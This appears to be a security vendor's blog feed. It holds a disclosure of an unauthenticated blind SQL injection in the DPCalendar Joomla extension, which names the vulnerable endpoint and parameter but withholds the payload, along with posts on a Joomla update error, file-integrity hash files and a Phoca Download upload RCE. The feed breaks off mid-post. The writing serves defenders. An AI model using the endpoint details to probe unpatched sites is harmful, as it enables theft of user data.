The flaw dates back to DPCalendar 8.18.0 and is present in every release since, on both the current line and the Joomla 3 branch, across all editions (Free, Pro, Business); fixed in 10.11.2 (Joomla 4.4.4 to 6.x) and 8.19.4 (Joomla 3)
The public front-end events feed placed an author filter parameter straight into a database query without turning it into a number, so an anonymous visitor could read data from any table: user accounts, password hashes, the site secrets from any database table such as draft content, API keys, personal data, ecommerce orders - everything in the database!
Update to DPCalendar 10.11.2 immediately (or 8.19.4 if you are still on Joomla 3)
We score it CVSS 4.0 8.7 (High), and Digital Peak's own advisory rates it High too. It is tracked as CVE-2026-57831, assigned through the Joomla CNA
Credit to Digital Peak: they shipped the fix within 24 hours, over a holiday break, and publicly credited us for the find
mySites.guru already flags every connected Joomla site still running a vulnerable version, so you do not have to check each site by hand

mySites.guru discovered this security issue and reported it to Digital Peak before publishing details. We withheld the exact request and any proof-of-concept until a fix was available and site owners had a reasonable window to update. This is how we handle every vulnerability we find: fix first, publish second.

What is the vulnerability?

DPCalendar exposes a front-end events feed that anonymous visitors can reach without logging in. It is the same feed the calendar itself uses to draw events, reached at index.php?option=com_dpcalendar&view=events&format=raw. That feed accepts an author filter, filter_created_by, and when it is supplied as a plain value the extension placed it into the events query without casting it to an integer first, the textbook shape of a SQL injection.

Joomla's standard text filter, which the extension applied to that parameter, strips HTML but does nothing to neutralise SQL syntax. Quotes, parentheses and keywords all survive. It is the same public-endpoint-meets-unchecked-input pattern behind a long run of recent Joomla extension vulnerabilities.

So an attacker could supply a crafted author filter that turned the query into one reading from any table in the Joomla database, and infer the result from the response. No account needed, no CSRF token, nothing stolen first.

In practice that means an unauthenticated attacker could read:

Joomla user accounts, including usernames and password hashes
The Joomla configuration secret and other stored data
Event, content and extension data

We are deliberately not publishing the exact request or a working proof-of-concept. The point of this post is to get people updated, not to hand attackers a recipe.

It is a blind injection, and that still means full database read

There are two broad flavours of SQL injection. In the loud kind, the query result comes straight back in the page, and an attacker dumps a table in one request. This one is the quieter kind: a blind injection. The response does not print the data. Instead, the attacker asks the database true-or-false questions one at a time (is the first character of the admin hash greater than m?) and reads the answer from whether the events feed changes.

Do not let "blind" read as "limited". Blind injection is slower to exploit, not smaller in what it exposes. Automated tooling walks a database out one bit at a time in seconds of wall-clock. The end state is identical to the loud kind: the full contents of every table an anonymous request can reach, including the credentials table. Blind is a throughput detail for the attacker, not a safety margin for you.

If you have not met blind SQL injection before, here is a short explainer from Indusface that walks through the exact mechanics described above. Yes, it is someone else's video. Just like we always do, copying things from other people all the time:

One character per request is not a safety margin

Digital Peak's advisory is candid about the mechanics, and one point in it is worth addressing directly. It notes that the data comes out "one character per request", and frames that as making it impractical to pull entire tables. That describes exactly how a blind injection works. It does not describe a limit on the damage.

The character-at-a-time loop is the definition of blind SQL injection, not a cap on it. Every blind injection ever found has worked this way, and every one has still ended with the full database in the attacker's hands. The arithmetic is not reassuring: a bcrypt password hash is about sixty characters, a binary search reads each character in roughly seven requests, so a complete Super User hash is a few hundred requests, and a live server answers those in a couple of minutes. "A large number of requests" sounds like friction. At machine speed it is a coffee break.

The severity does not move with the request count. Whether the database is read in one request or one million, the end state is identical: every user account, every password hash and other Joomla API secrets, all readable by an anonymous visitor. Confidentiality is either intact or it is gone, and after a blind injection it is gone. That is precisely why both we and Digital Peak rate this High rather than shrugging it off with <sarcasm>This is fine.</sarcasm>

You have never needed AI to weaponise blind SQL injection

The advisory also mentions that AI-assisted tools can speed the extraction up. That is true, and it is also beside the point, because the speed-up it describes arrived in 2006, not in the 2020s.

Fully automated, character-by-character blind SQL injection has been free, off-the-shelf tooling for about twenty years. sqlmap, the standard open-source tool, has automated boolean-based and time-based blind extraction and dumped entire databases since July 2006. Point-and-click extractors put the same power in front of absolute beginners even earlier: Absinthe demonstrated automated blind dumping at Black Hat in 2004, and Havij made it a one-button affair by 2010. The underlying technique was documented publicly by Chris Anley in 2002 and popularised in a dedicated SPI Dynamics whitepaper the following year. All of it predates modern AI by fifteen to twenty years.

A blind injection a human would find tedious is a single sqlmap command that has been public since before a lot of today's extension code was even written. AI did not make blind SQL injection practical. sqlmap did that two decades ago. Casting AI as the thing that turns "one character per request" into a real threat gets the timeline backwards.

Joomla knows this class of bug intimately, and not only from its extensions. Its own core has shipped serious SQL injection flaws, and they did real damage long before anyone had an AI assistant:

October 2015, com_contenthistory (CVE-2015-7857 and related). An unauthenticated SQL injection in Joomla core, in every release from 3.2.0 to 3.4.4, let an anonymous attacker steal a live Super User session and take the whole site over. It was error-based rather than blind, which sharpens the point rather than softening it, and it was being exploited in the wild within 24 hours of the fix, against a component that shipped enabled by default on millions of sites.
May 2017, com_fields (CVE-2017-8917). An unauthenticated SQL injection in Joomla 3.7.0, through an ORDER BY parameter that public exploits drove both blind and error-based, exposing session tokens and password hashes. It was weaponised with public exploit code within days.

How serious is it?

Serious enough that we treated it as a priority disclosure. The two things that decide real-world impact are:

Whether the site has a web application firewall that filters SQL. Because the payload is literally SQL, a WAF often recognises and blocks it before it reaches DPCalendar. Sites running bare, with no such protection, are the exposed ones.
Whether the calendar has any publicly visible events. The blind oracle in this flaw reads against the events the feed returns, so a live, in-use calendar (which is every real one) gives an attacker exactly what they need. An empty calendar has nothing to read against, though that is not a state any working site stays in.

One more thing worth saying plainly: this is not obscure code running on neglected sites. DPCalendar gets chosen precisely because it is mature and well-regarded, and it runs on some of the most reputable, carefully managed Joomla installations there are, up to and including the Joomla Project's own official infrastructure. One of the Project's own joomla.org sites was itself running an affected version, shielded from this exact flaw only by the web application firewall in front of it, doing precisely the SQL-filtering job described above. That is a double lesson: it shows how trusted and well-regarded DPCalendar is, chosen for Joomla's own properties, and it shows that being trusted is not the same as being safe. If the Joomla Project itself can be caught running a vulnerable copy of an extension this well-regarded, anyone can. "We only use trusted, well-maintained extensions" is a good instinct, and on its own it is not a defence against a flaw in one of them. The most buttoned-up site in the world is still exposed if it is a version behind on the extension that has the hole.

A WAF is mitigation, not a fix. The only reliable remedy is to update DPCalendar. Or leave it a version behind and hand your entire database to the first anonymous stranger who asks. Sure. Go ahead. (Or is that Is Not Passive-Aggressive Enough?)

Would a long, strong .htaccess have protected me against this?

Almost certainly not. A big hardened .htaccess is the security blanket a lot of Joomla owners reach for, and it guards a different kind of attack than this one. The exploit here is an ordinary, allowed request to index.php (option=com_dpcalendar&view=events&format=raw), the exact request your .htaccess exists to let through so the site works at all. The dangerous part is not the URL, it is the SQL hidden inside one query-string value, and a stock .htaccess never looks there.

To block this at the .htaccess layer you would need explicit rules that pattern-match SQL syntax in the query string and return a 403. Hardly anyone runs those, they are brittle, and they tend to block real visitors as often as attackers. Inspecting request input for SQL is really the job of a web application firewall with SQL injection filtering switched on. Even then it only helps if that filtering is actually enabled: a WAF with its SQLi rules turned off, or left in log-only mode, waves this through as happily as no WAF at all. Protection you have to remember to configure is not the same as code that is not vulnerable in the first place.

The short version applies here directly. Update DPCalendar.

Which versions are affected?

Digital Peak's advisory states the flaw has existed since DPCalendar 8.18.0, so every release from 8.18.0 up to the current 10.11.0 is affected, and so is the Joomla 3 branch (the 8.x line still shipped for Joomla 3 sites). The vulnerable code sits in the component's shared front-end model, which is identical across editions, so the Free, Pro and Business editions are all affected. This is not a Free-only issue. The fix is in 10.11.2 for Joomla 4.4.4 to 6.x, and 8.19.4 for Joomla 3, both casting the author filter to an integer before it reaches the query so a crafted value can no longer change the SQL. If you are on the 9.x line, Digital Peak's upgrade path is 9.x to 10.0.0, then 10.6.0, then 10.11.2.

If you run any version of DPCalendar earlier than 10.11.2 (or earlier than 8.19.4 on Joomla 3), on any edition, assume your site is affected and update now. Do not wait to confirm exploitation: by the time you can confirm it, the data is already gone.

Credit where it is due: a fast fix over a holiday

We gave Digital Peak the full standard responsible-disclosure window to fix this in their own time. They did not need it. We reported the issue on 12 July; the fix was built, tested and released within 24 hours, over a holiday break while the developer was away, and outside Digital Peak's normal Thursday release schedule. Their advisory also notes this is the first security vulnerability reported in DPCalendar since the component first shipped in 2012.

That is a genuinely good response, and worth saying out loud. Plenty of vendors sit on a report for weeks. Digital Peak did the opposite, and DPCalendar users are safer for it. They even credited mySites.guru publicly in their own advisory and recommended the platform, a gracious touch we did not ask for. Our thanks to Allon Moritz and the Digital Peak team.

Digital Peak is not the exception this month either. Most of the developers we have responsibly disclosed to during this run have responded the same way: grateful, quick to thank us, and shipping a fix within 24 hours. Only two out of the whole set have not. When a vendor gets this right, it deserves to be said in public as plainly as the flaw itself.

The right thing for site owners to do in return is simple: apply the update they shipped.

SQL injection is a recurring theme right now

This DPCalendar flaw is not an isolated find. It is one of several unauthenticated SQL injections we have uncovered in widely used Joomla extensions in a single research run, and they all share one root cause: a public front-end endpoint that takes anonymous request input and hands it to a database query without turning it into a safe value first.

AcyMailing (CVE-2026-56292, CVSS 8.7). The same class of unauthenticated SQL injection in one of the most popular newsletter extensions for Joomla, and because it shares a codebase, the WordPress plugin too. Fixed in 10.11.1.
The month of Joomla disclosures. DPCalendar is one entry in a larger run of vulnerabilities we found and reported across popular Joomla extensions in a single month, several of them this exact SQL injection shape.
Why AJAX endpoints are a CMS security blind spot. The underlying pattern, and why front-end feeds like DPCalendar's keep producing this bug.

Two more disclosures from the same research run are still working through coordinated disclosure, redacted until their vendors ship a fix. We will publish each in full the moment it is patched, and add it to the roundup. Naming an unpatched flaw is just publishing an exploit, so until then we describe only the risk, not the extension.

How do you update DPCalendar safely?

Take a backup first. Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, trigger a snapshot or a full backup so you have a clean starting point.
Update through Joomla's Extensions manager, or in bulk from mySites.guru. On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull DPCalendar 10.11.2 (or 8.19.4 if the site still runs Joomla 3). If it does not appear, use Find Updates, or download the latest package from your Digital Peak account and install it over the top. On the older 9.x line, Digital Peak's upgrade path is 9.x to 10.0.0, then 10.6.0, then 10.11.2. If you manage more than one site, use the mySites.guru mass update feature to upgrade DPCalendar across every affected site from a single dashboard. You can even enable auto-updates for any Joomla extension so the next fix like this reaches your sites without you lifting a finger.
Confirm the version. After updating, open Components, then DPCalendar, and check the version shown is 10.11.2 (or 8.19.4 on Joomla 3) or later.
Clear caches. Clear Joomla's cache and any CDN or page cache so stale front-end assets do not linger.

How do I find every DPCalendar site I manage?

mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for DPCalendar once and get back every connected site running it, the version each one is on, and whether an update is available. No logging into forty admin panels one at a time.

View every DPCalendar install across your sites

Open your Extension Inventory

Search for DPCalendar across every connected Joomla site and filter for anything on 10.11.0 or earlier to find the installs that still need updating. Not a subscriber? Sign up free and connect your sites.

Once you know which sites need it, the mass updater handles the rollout: tick the sites on an old version, push the update to all of them from one screen.

For agencies managing dozens of Joomla sites

The patch is the easy bit. Knowing which client sites run DPCalendar, and getting the update onto all of them, is the work. See how mySites.guru manages multiple Joomla sites from one screen.

Why calendar and events extensions are a quiet attack surface

This is a pattern, not a one-off, and it is why the class of bug matters more than this single instance. Calendar, form and newsletter extensions make attractive targets for the same reason they are useful: they expose front-end endpoints that anonymous visitors are meant to reach. Event listings, subscribe forms, iCal feeds, location lookups, none of that can require a login.

Every one of those public endpoints is attack surface. When the code behind them trusts request input, or hands it to a database query without escaping or casting, an anonymous visitor becomes an anonymous attacker. We have seen the same class of issue across form builders like Balbooa Forms, page builders like PageBuilder CK, template frameworks like Novarain, newsletter tools like AcyMailing, and editors like JCE: a public task that reaches a dangerous operation with too little checking in between.

The lesson for site owners is not "avoid calendar extensions". They are fine, and the reputable ones are well maintained. The lesson is that keeping them updated is security-critical, not just feature maintenance. An extension two versions behind is not a cosmetic problem.

Stay Ahead of the Next One

Get free email alerts when a Joomla vulnerability breaks

We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.

Subscribe to security alerts

What to do right now

Update every Joomla site running DPCalendar to 10.11.2 or later (or 8.19.4 on Joomla 3), one at a time or in bulk from one dashboard
If you manage multiple sites, let mySites.guru show you which ones are still exposed rather than checking by hand
Take a backup before updating, and clear caches afterwards
If you were on a vulnerable version for a long time and handle sensitive data, treat any exposed data as potentially read, and if you suspect a breach, find any hacked files and backdoors and follow our guide to fixing a hacked Joomla or WordPress site

Disclosure and Severity

This flaw is CWE-89, SQL injection, reached by an anonymous visitor over the network in a single request, with no privileges and no user interaction. It is a read-only injection, so it stops short of the maximum score: an attacker reads the database but cannot write to it or run code through this flaw. Reading the database is bad enough, because what leaks is every user record, every password hash, and other Joomla API secrets.

8.7 CVSS 4.0

High Our own assessment, pending the official vector

Unauthenticated, exploitable over the internet with no user interaction, ending in full read access to the site database. It falls short of 10.0 only because it is a read, not a write: high confidentiality impact, but no integrity or availability impact.

No login needed Exploitable over the internet No user interaction Full database read Password hashes exposed

This vulnerability is tracked as CVE-2026-57831, assigned through the Joomla CNA, the body that assigns identifiers for Joomla and its extensions, crediting Phil Taylor of mySites.guru as the reporter.

Field	Detail
CVE	CVE-2026-57831 (assigned via the Joomla CNA)
Component	DPCalendar for Joomla (`com_dpcalendar`), all editions (Free, Pro, Business)
Vendor	Digital Peak (digital-peak.com)
Type	Unauthenticated SQL injection (CWE-89)
CVSS 4.0	8.7 (High), `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` (our own assessment)
CWE	CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)
Impact	Anonymous read access to any database table, including user accounts and password hashes
Finder	Phil Taylor, mySites.guru
Affected versions	8.18.0 up to and including 10.11.0 on the current line, plus the Joomla 3 (8.x) branch, all editions
Fixed in	10.11.2 (Joomla 4.4.4 to 6.x) and 8.19.4 (Joomla 3)

The disclosure ran on a short cycle from audit to fix:

Date	Event
12 July 2026	During routine security research on the extensions our customers rely on, mySites.guru identifies the unauthenticated SQL injection in DPCalendar, confirms it against the code, and proves it on a local test install that reads database contents back through a single anonymous request. The issue is disclosed privately to Digital Peak, with all public detail withheld.
13 July 2026	Within 24 hours of the report, over a holiday break and outside their normal release schedule, Digital Peak ships DPCalendar 10.11.2 (Joomla 4.4.4 to 6.x) and 8.19.4 (Joomla 3), casting the author filter to an integer and closing the injection, and publishes a public security advisory crediting mySites.guru. mySites.guru verifies the patched build closes the flaw, adds DPCalendar to its Joomla extension vulnerability database so every connected site below the fix is flagged, and requests a CVE through the Joomla CNA. No proof of concept is released.
15 July 2026	The Joomla CNA assigns CVE-2026-57831 to the vulnerability, crediting Phil Taylor of mySites.guru as the finder.

Joomla Update Error 999: a Dead Extension Redirecting to LinkedIn

phil@mysites.guru (Phil Taylor) — Sun, 12 Jul 2026 00:00:00 GMT

You open a Joomla site to run updates, or you glance at your update dashboard, and you get this:

Invalid status code "999"; must be an integer between 100 and 599, inclusive.
Your site responded with Invalid status code "999".

Nothing you did is wrong. This is not a Joomla bug, and if you saw it in mySites.guru, it is not a mySites.guru bug either. One of your installed extensions is pointing its update check at a web address that no longer serves an update file. Here is exactly what the 999 means and the two-minute fix.

If you manage more than a handful of Joomla sites, the 999 error has a habit of showing up on almost all of them at once, because the culprit is usually a single extension you installed everywhere. mySites.guru reads every update-site URL your sites report in its twice-daily snapshot, so you can find the dead one and clear it across your whole portfolio of Joomla sites instead of hunting site by site.

What does "Invalid status code 999" mean in Joomla?

999 is not a real HTTP status code. Every valid HTTP response carries a three-digit status between 100 and 599, and 999 sits outside that range, so no well-behaved server should ever return it. LinkedIn is the exception: it replies with 999 to block automated traffic it does not recognise. If your Joomla update check lands on a 999, the request ended up at LinkedIn instead of at an update file.

So how does a Joomla update check end up at LinkedIn? Through an extension whose developer walked away.

Why an abandoned extension breaks your Joomla update check

Every Joomla extension that supports updates registers an "update site": a URL Joomla calls to ask "is there a newer version?". The developer owns that URL. When a developer abandons an extension and lets the domain or the update path lapse, that URL can start doing something it was never meant to do.

The one that bites Dutch Joomla sites most often is an abandoned Dutch translation pack, RSJoomla! Dutch Translations by Wilco Alsemgeest. Its update site at con-con.nl now issues a 301 redirect straight to the author's LinkedIn profile. Joomla follows the redirect, LinkedIn decides the request is not a real browser, and LinkedIn answers 999.

Under the bonnet, Joomla fetches update XML through its own HTTP library (joomla/http), which is built on laminas-diactoros. Diactoros validates the status line of every response and throws the instant it sees a code outside the valid range:

Invalid status code "999"; must be an integer between 100 and 599, inclusive

That check fires before Joomla ever gets to compare the response against 200, which is why the update simply stops with the raw exception rather than a tidy "no update available". The rule Diactoros is enforcing is not arbitrary. RFC 9110, the HTTP standard, defines a status code as a three-digit integer and reserves the entire valid space to 100 through 599. 999 is not in it.

This is version-agnostic. It has nothing to do with which Joomla you run: sites on Joomla 4, 5, and 6 all hit it the same way because they share the same HTTP library. It also breaks Joomla's own Pre-Update Check, so a single dead update site can block you from upgrading the CMS at all.

How do I find the update site causing the 999 error?

Go to Extensions, then Manage, then Update Sites in your Joomla administrator. That screen lists every update URL your installed extensions have registered, and you are looking for one that redirects off-site.

Confirm it from the command line with curl:

curl -sI -L "https://con-con.nl/ReleaseSystem/rsjoomla.xml"

A healthy update site returns 200 and some XML. A dead one looks like this:

HTTP/2 301
location: https://www.linkedin.com/in/wilcoalsemgeest/
HTTP/2 999

The 301 to a LinkedIn profile followed by a 999 is the smoking gun. LinkedIn's response even carries an x-li-fabric header, so there is no doubt about where the request ended up.

If you would rather not touch the command line, mySites.guru shows the exact update-site URL for every stream on each site, so you can eyeball the list and spot the odd domain. It is worth checking where every extension's update site actually points regardless, because almost nobody does, and an update URL is a route straight into your site's update process.

How do I fix the 999 update error in Joomla?

Delete the offending update site, do not just disable it. In Extensions, Manage, Update Sites, select the dead entry and use Delete. If the extension itself is genuinely abandoned and you no longer need it, uninstall the extension too, which removes the update site for good.

Warning

Disabling the update site is not enough. Joomla re-enables disabled update sites the next time it checks for updates, so the error comes straight back. Delete it, and uninstall the abandoned extension if you can.

If you use mySites.guru, do one more thing. Open Manage Site, then Config, scroll to the bottom, and turn off "re-enable disabled update sites". Otherwise mySites.guru switches the dead site back on at the next check and the error returns.

Why disabling the update site isn't enough

Joomla treats update sites as disposable and rebuilds them from each extension's manifest. Disable one and the next "Find Updates" run can switch it straight back on. This is documented behaviour: the Rebuild button repopulates the update-sites table from your installed extensions' manifest files, and Joomla has re-enabled disabled update sites on update checks for years (issue #13436).

A disable is temporary. A delete holds until the next rebuild. Uninstalling the dead extension is the only change that holds permanently, because there is no manifest left to rebuild from.

Can mySites.guru just ignore the 999 code?

No, and it would not help if it did. This question comes up every time: "can you patch your validator to accept 999 so the error goes away?" We will not, for two reasons.

First, 999 is genuinely not a valid HTTP status. Teaching our tooling to trust malformed responses is exactly the kind of shortcut that hides real problems later.

Second, and more practically, it would not fix anything. Even if mySites.guru swallowed the 999, Joomla's own update client on your site still rejects it, so you would keep hitting the same wall in Joomla's Update Manager and Pre-Update Check. The error is not in the validator. It is an abandoned update site, and that is where it has to be fixed. Do that once and it is fixed everywhere: in Joomla, in mySites.guru, and in any other tool that reads your update sites.

If you want to push the extension author to fix it, the argument is simple. Their update site redirects to LinkedIn, LinkedIn returns a code that is not in the HTTP specification, so any client that respects the spec breaks. That is on the update site, not on Joomla.

Managing update sites across a portfolio of Joomla sites

Here is the pattern we see across large Joomla portfolios: one popular extension installed on every site, one dead update URL, and suddenly the update dashboard is red almost everywhere at once. A Dutch agency we work with hit exactly this, the same abandoned extension flagging the 999 across nearly their entire client list when they sorted their updates by site.

At that scale, fixing it by hand on each site is the wrong tool. mySites.guru reads the update-site URLs from every connected site, so you can find the offender once and clear it everywhere, and the "re-enable disabled update sites" toggle keeps it gone. If you would rather we just sorted it, send us the details and we will look for free.

The 999 error vs the "offered update has expired" error

These two look similar and are completely different. The 999 error is a dead third-party update site on your own site. The "offered update has expired" error is a problem at Joomla's end, where the signed update metadata that Joomla.org serves has gone stale. One you fix on your site, the other you wait out or work around. If your update is failing, check which message you actually got before you change anything.

One naming clash is worth clearing up too. This 999 has nothing to do with the Joomla 3.10.999 project, which is Phil's community security-patch repository for end-of-life Joomla 3. Same three digits, unrelated problem.

What Are the .myjoomla.configuration.php.md5 Files?

phil@mysites.guru (Phil Taylor) — Fri, 10 Jul 2026 00:00:00 GMT

If you have found a file called .myjoomla.configuration.php.md5 sitting in your Joomla webspace, right next to configuration.php, and wondered whether you have been hacked, here is the short version: no, you have not, and the file is safe. It was created by mySites.guru, not by an attacker.

It is a file-integrity lock file. It holds a single 32-character MD5 fingerprint of your configuration.php, and the mySites.guru connector on your site uses it to notice the moment that file is changed. There is nothing else inside it, and it does nothing to your site on its own.

Note

A file name starting with a dot is hidden by most FTP clients, cPanel file managers, and the plain ls command. That is why these files seem to appear out of nowhere. The dot does not make a file dangerous, and it does not make it safe either. It just hides it from casual browsing.

What Is the .myjoomla.configuration.php.md5 File?

The .myjoomla.configuration.php.md5 file is a tamper-detection sidecar. When you monitor configuration.php with mySites.guru, the connector calculates the MD5 hash of that file and writes it, as one line of 32 hexadecimal characters, into a companion file in the same folder. For configuration.php in your site root, that companion is .myjoomla.configuration.php.md5.

The content is deliberately boring. Open one and you will see a single line like this and nothing more:

d41d8cd98f00b204e9800998ecf8427e

You get one lock file per watched file, named .myjoomla.<filename>.md5, and it always sits in the same directory as the file it tracks. So if you monitor /includes/defines.php, the lock file lives at /includes/.myjoomla.defines.php.md5. Out of the box mySites.guru watches the files hackers tend to target on a Joomla site: configuration.php, index.php, includes/defines.php, includes/framework.php, a core layout helper, and .htaccess.

That means .myjoomla.configuration.php.md5 is usually not the only one you will find. A default setup also leaves .myjoomla.index.php.md5 next to your index.php, and a sidecar for each of the other watched files. You can change the watch list in your dashboard, and if you add or remove files, the set of .myjoomla.*.md5 files on disk changes to match whatever you chose.

The Alert tab in mySites.guru, where you pick which files are monitored. This is a WordPress site, so the list shows wp-config.php; on Joomla the same screen watches configuration.php and writes the .myjoomla.*.md5 sidecars instead.

The .myjoomla Prefix Is a Legacy Name

The .myjoomla part looks out of place on a modern install, and there is a simple reason for it. The connector has written that prefix for years, since long before the service was rebranded to mySites.guru. Renaming it now would orphan the existing lock files on every connected site at once and briefly re-trigger a modified-file alert on all of them, so the prefix stays exactly as it is.

On WordPress the same connector does the same job with a different prefix. There you will find .mywpguru.wp-config.php.md5 rather than a .myjoomla. file, again for historical reasons. The names differ, the mechanism is identical, and both are the same mySites.guru file-monitoring feature under the hood.

How mySites.guru Uses the File to Detect Tampering

Every time a page on your site is rendered, front-end or administrator, the connector recalculates the MD5 hash of each watched file and compares it to the value stored in the matching .md5 lock file. Two things can happen:

The hashes match. The file has not changed. Nothing happens, and the check costs microseconds.
The hashes differ. The file has changed since the last check. The connector logs the event, sends an alert to mySites.guru (which emails you and any team members who have alerts enabled for that site), then rewrites the lock file with the new hash so you are not alerted again for the same change.

Because the check is driven by page loads, it is near real-time rather than continuous. If an admin edits configuration.php through the Joomla back-end, the same request that saves the change is the request that catches it. The only lag is when a file is altered over FTP or SSH on a site nobody is visiting, in which case the comparison runs on the next page load. The full feature, including how to choose which files to watch and how to whitelist your own IP so your own edits do not raise a flag, is covered in our writeup on real-time alerts for file changes and logins.

Isn't MD5 Broken? Why That Doesn't Matter Here

You may know that MD5 is cryptographically broken, and you would be right, but it does not weaken this particular use of it. MD5's failure is collision resistance: an attacker can craft two brand-new files that happen to share the same hash. Noticing that your existing configuration.php has changed is a different problem, and MD5 is still perfectly good at it.

To beat this monitor, an attacker would need a second-preimage attack: take your specific configuration.php and produce a different, malicious file with the identical MD5 hash. That is a far harder problem than a collision, and it remains computationally infeasible. Every headline MD5 break, the 2004 collisions, the 2008 chosen-prefix work, the Flame malware in 2012, involved the attacker controlling both files. Here mySites.guru controls the baseline. It hashes your real file and holds the fingerprint out of an attacker's reach, so any ordinary edit, accidental corruption, or run-of-the-mill malware injection shifts the hash and trips the alert.

There is a second reason MD5 earns its place here, and it is the one that actually drove the choice: speed. MD5 is one of the fastest hashes in common use, and this check runs on every single page load, so the cost of hashing has to stay close to zero. That shaped two deliberate decisions, keep the hashing algorithm cheap and keep the real-time watch list short. Swapping to SHA-256 would make each lock file larger and every page load do more work, for no real gain against this threat model. For change detection on a file you already control, on every request, MD5 is the right tool, not a compromise.

Why configuration.php Is the File Worth Watching

configuration.php is the single most attractive file on a Joomla site. It holds your database username and password, the site $secret key, FTP credentials if you use them, SMTP mailer credentials, and your log and tmp paths. An attacker who can quietly edit it can repoint your database connection, disable error reporting to hide their tracks, or move your tmp path to a directory they control and drop code there.

Getting an alert the instant that file changes means you find out before the attacker has time to do anything else with the access. WordPress has the same weak point in wp-config.php, which is why the connector monitors it there and writes .mywpguru.wp-config.php.md5 alongside it. If a monitored config file does change unexpectedly, our guides on a hacked Joomla site and finding hacked files and backdoors walk through what to check next without destroying the evidence.

Is It Safe to Delete These .md5 Files?

Yes. Deleting a .myjoomla.configuration.php.md5 file will not break your site. On the next page load the connector sees that the lock is gone, recalculates the hash, and writes it back as a fresh baseline. No alert fires for the missing lock file, because a missing baseline is treated as first-time monitoring rather than a change.

Warning

There is one catch. If the watched file had already been tampered with, deleting its lock file makes the connector adopt the tampered version as the new known-good baseline, and you lose the chance to be alerted about that specific change. So do not delete these files as a routine cleanup step. To stop monitoring a file properly, remove it from the watch list in your mySites.guru dashboard instead of deleting the lock on disk.

What File-Integrity Checks Won't Catch

Hash-based monitoring on a watch list is fast and has effectively zero false positives, but it is one layer, not the whole defence. It is worth knowing its limits.

It only covers the files you are watching. A backdoor dropped into a random uploads folder three directories deep is not on the watch list, so a .md5 lock will never see it. That is what a full security audit, the hidden-files check, and the suspect-content scanner are for, and why those run across your entire webspace rather than a short list. It also cannot see payloads that live in the database rather than on disk. We watched exactly that play out with the Helix3 defacement wave, where the injected code lived in the database, not the files, so a clean file hash told you nothing. Treat the .md5 lock files as instant change detection on your highest-value files, and pair them with full-site scanning for everything else.

Phoca Download 6.1.3 Fixes an Authenticated Upload RCE

phil@mysites.guru (Phil Taylor) — Fri, 10 Jul 2026 00:00:00 GMT

Phoca Download is a long-established download-manager component for Joomla, installed as com_phocadownload and used to store, organise and serve files on business, membership and community sites. Up to and including version 6.1.2, its frontend member-upload feature had a flaw: the file-type allow-list that the extension enforces on its other upload paths was skipped for member uploads. A logged-in user could upload a file type that should have been rejected, such as a .php script, into the public user-upload folder and then run it. That is authenticated remote code execution.

Phoca fixed it in version 6.1.3, released on 10 July 2026. If you run Joomla sites with Phoca Download on them, update every one to 6.1.3 or later. This post explains what the flaw was, how it surfaced, what the fix does, and how to check whether any of your sites were touched, without publishing anything an attacker could copy.

Authenticated and feature-gated, but still update promptly

The Joomla CNA scored this Critical (CVSS 4.0 9.0), because it ends in code execution. Unlike the recent no-login Joomla upload flaws, though, it needs a registered account and needs the Phoca Download user-upload feature switched on, so far fewer sites are reachable in practice. If your Phoca Download sites let members upload files, treat it as a priority: update to 6.1.3, then check the user-upload folder and your admin accounts. If member uploads are off (the default), you are not exposed to this path, but you should still update.

TL;DR

TL;DR: The frontend member-upload feature in Phoca Download (com_phocadownload) up to and including 6.1.2 (fixed in 6.1.3) skipped the file-type allow-list that the extension enforces on its other upload paths. Because of an internal upload-mode mismatch, the admin-configured list of permitted types was never consulted for member uploads, so a logged-in user could write a .php file into the public user-upload folder and execute it, which is authenticated remote code execution (CWE-434). It needs a registered account and needs the non-default user-upload feature enabled with a category granting upload rights, which is why the Joomla CNA scored it 9.0 (Critical) on CVSS 4.0 rather than the maximum 10.0 the recent unauthenticated flaws hit. We found it during a source-code audit, reproduced the full chain on a local Joomla install, and disclosed it privately to Phoca, who fixed it the same day in 6.1.3. It is now tracked as CVE-2026-57828, assigned via the Joomla project's CNA and crediting Phil Taylor of mySites.guru. No proof of concept has been made public. Update every Phoca Download install to 6.1.3, then check any site that had member uploads enabled. If you look after more than a handful of Joomla sites, mySites.guru lists every Phoca Download install in your account in seconds and pushes the update.

What Was Actually Wrong in Phoca Download?

Phoca Download lets a site optionally accept files from logged-in members through the frontend, so a community or membership site can let its users submit downloads. That feature is off by default. When it is switched on, uploads should be checked against the same allow-list of permitted file types that the extension uses on its other upload paths, the list an administrator configures to allow documents, archives and images but not executable code.

The problem was that the member-upload path used a different internal upload mode from the one the allow-list check was written for. The check only applied to one mode, and the member-upload page ran under another, so the configured allow-list was never consulted. On a default configuration the practical result was that the file-type restriction that should have blocked a .php upload simply did not run for member uploads.

From there the rest of the chain is short. The file lands in Phoca Download's user-upload folder, which sits inside the web root and serves and executes PHP. A logged-in member could upload a file the extension was supposed to reject, then request it in a browser, and the server would run it. That is code execution on your server, chosen by whoever uploaded the file.

We are deliberately not publishing the exact request an attacker would send, the task names, or the parameters involved. The shape of the bug is enough to understand the risk and to check your own sites. The working details stay private until sites have had time to update.

How This One Was Found

This did not start with a hacked site or an abuse report. It started with reading the code.

Part of what we do is audit the Joomla extensions that turn up most often across the sites we manage, on a local test install where we can prove a flaw safely and put the box back exactly as it was. Phoca Download came up in that rotation. Reading through the member-upload path, the allow-list check was guarding one upload mode while the member-upload page ran under a different one, so the check never fired where it mattered most.

We reproduced the whole chain end to end on a local Joomla install: a registered member, with the user-upload feature enabled, uploaded a file that the allow-list should have refused, and requesting that file back ran it. Then it was a private email to Phoca. Jan Pavelka, the author, responded and shipped the fix in Phoca Download 6.1.3 the same day, which is exactly the response you want. The flaw is now tracked as CVE-2026-57828, assigned through the Joomla project's CNA and crediting Phil Taylor of mySites.guru as the reporter.

This is what responsible disclosure looks like

Found in a code audit, confirmed live on a local install, reported privately, and fixed by the author the same day. No exploit has been published, and none will be until sites have had a chance to update. The reason to write about it is to get sites patched, not to show anyone how it worked.

Critical on Paper, Gated in Practice

